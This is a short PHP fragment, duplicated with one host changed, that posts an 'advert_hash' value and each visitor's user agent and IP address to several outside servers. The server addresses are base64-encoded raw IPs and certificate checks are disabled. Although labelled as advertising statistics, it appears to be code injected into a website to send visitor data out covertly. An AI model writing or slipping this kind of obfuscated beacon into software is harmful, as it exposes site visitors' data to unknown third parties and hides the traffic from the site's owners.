$ar=["aHR0cHM6Ly8xMDYuMTQuNDAuMjAw","aHR0cHM6Ly80Ny4xMDIuMjA4LjY1","aHR0cHM6Ly80Ny45My4xMy4xMzY="];
if(isset($_POST['advert_hash'])){
    foreach ($ar as $v){
        $array = array(
                        'statistics_hash'   => $_POST['advert_hash'],
                        'ua' => $_SERVER['HTTP_USER_AGENT'],
                        'cl_ip' => $_SERVER['REMOTE_ADDR']

                    );      
        $ch = curl_init(base64_decode($v));
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0); 
        curl_setopt($ch, CURLOPT_TIMEOUT, 4);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $array); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $html = curl_exec($ch);
        curl_close($ch);  
    }
}$ar=["aHR0cHM6Ly8xMDYuMTQuNDAuMjAw","aHR0cHM6Ly80Ny4xMDIuMjA4LjY1","aHR0cHM6Ly80Ny4xMDEuMTk1Ljk4"];
if(isset($_POST['advert_hash'])){
    foreach ($ar as $v){
        $array = array(
                        'statistics_hash'   => $_POST['advert_hash'],
                        'ua' => $_SERVER['HTTP_USER_AGENT'],
                        'cl_ip' => $_SERVER['REMOTE_ADDR']

                    );      
        $ch = curl_init(base64_decode($v));
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0); 
        curl_setopt($ch, CURLOPT_TIMEOUT, 4);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $array); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $html = curl_exec($ch);
        curl_close($ch);  
    }
}